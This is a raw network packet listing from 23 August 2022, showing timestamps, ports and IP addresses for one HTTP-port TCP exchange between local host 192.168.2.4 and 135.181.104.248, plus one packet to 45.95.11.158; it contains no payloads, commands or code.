Aug 23, 2022 03:42:55.988810062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988812923 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988852024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988852978 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988893986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988898993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988934994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988964081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989001989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989036083 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989099026 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989134073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989142895 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989145994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989181995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989219904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989228964 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989582062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989629984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989651918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989696026 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989698887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989706993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989734888 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989753962 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989804029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989830971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989844084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989846945 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989885092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989886045 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.989924908 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989965916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.989973068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990035057 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990087986 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990176916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990217924 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990259886 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990268946 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990299940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990302086 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990370989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990410089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990417957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990453959 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990494013 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990500927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990534067 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990576029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990612030 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990614891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990622044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990658998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990699053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990712881 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990737915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990745068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990777969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990781069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990818024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990822077 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990859032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990863085 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990899086 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990900040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990940094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990976095 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.990979910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.990998030 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991020918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991024971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991060972 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991108894 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991123915 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991132975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991152048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991183043 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991192102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991199970 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991233110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991241932 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991271973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991277933 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991312981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991362095 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991370916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991381884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991425037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991425991 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991462946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991466999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991502047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991504908 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991540909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991554022 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991581917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.991588116 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.991689920 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.011955023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.025568962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.025640011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.025686979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.025724888 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.025763988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.025789976 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.025808096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.025845051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.025856972 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026235104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026282072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026340008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026381969 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026388884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026432037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026447058 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026478052 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026500940 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026510954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026563883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026566982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026623964 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026671886 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026729107 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026731968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026745081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026778936 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026787043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026822090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026839018 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026848078 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026892900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026936054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.026964903 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.026988029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027034044 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027046919 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.027090073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027093887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.027137041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027180910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027195930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.027229071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027273893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027288914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.027328968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027332067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.027445078 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027487993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027513027 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.027539968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027585030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027601004 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.027642012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027651072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.027689934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027736902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027750015 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.027785063 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027829885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027847052 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.027884960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.027889013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.028012037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.028080940 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.028104067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.029726028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.029783010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.029833078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.029848099 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.029855013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.029892921 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.029933929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.029984951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030030012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030070066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030112028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030152082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030195951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030251980 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030308008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030350924 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030390024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030440092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030443907 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.030493021 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.030534983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030576944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030617952 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030658007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030697107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030736923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030776024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030817986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030864000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030879974 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.030920029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.030925035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.030966997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031006098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031045914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031088114 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031128883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031167984 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031220913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031220913 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.031236887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.031274080 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031316996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031385899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031450033 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031491995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031534910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031574965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031615973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031655073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031692028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031733036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031780005 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031795979 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.031816959 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.031827927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.031841993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.031950951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032403946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032418966 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.032453060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032495975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.032510996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.032510996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032553911 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032597065 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032625914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.032649040 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.032650948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032696962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032749891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032789946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032831907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032871962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032906055 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.032919884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032962084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.032979012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.032984972 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.033024073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.033066988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.033118963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.033159018 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.033200026 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.033240080 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.033463001 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.033499956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.033524036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.033565044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.033638000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.033708096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.033749104 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.033766985 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.033804893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.034162998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.034293890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.034665108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.034758091 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.034787893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.034832001 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.034885883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.034904957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.034915924 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.034938097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.034959078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.034995079 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035008907 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035042048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035062075 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035095930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035109043 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035151958 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035165071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035201073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035218954 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035254002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035265923 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035300016 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035331964 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035379887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035386086 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035434961 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035473108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035485029 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035494089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035540104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035571098 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035588980 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035595894 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035650969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035656929 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035701990 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035716057 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035762072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035815001 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035818100 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035832882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035862923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035906076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035928965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.035953999 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.035998106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036022902 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036051035 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036067009 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036108971 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036123991 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036160946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036206007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036231995 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036253929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036298037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036324024 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036350012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036358118 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036395073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036427021 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036459923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036504984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036520958 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036524057 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036564112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036608934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036627054 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036658049 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036703110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036720991 CEST	49792	80	192.168.2.4	135.181.104.248
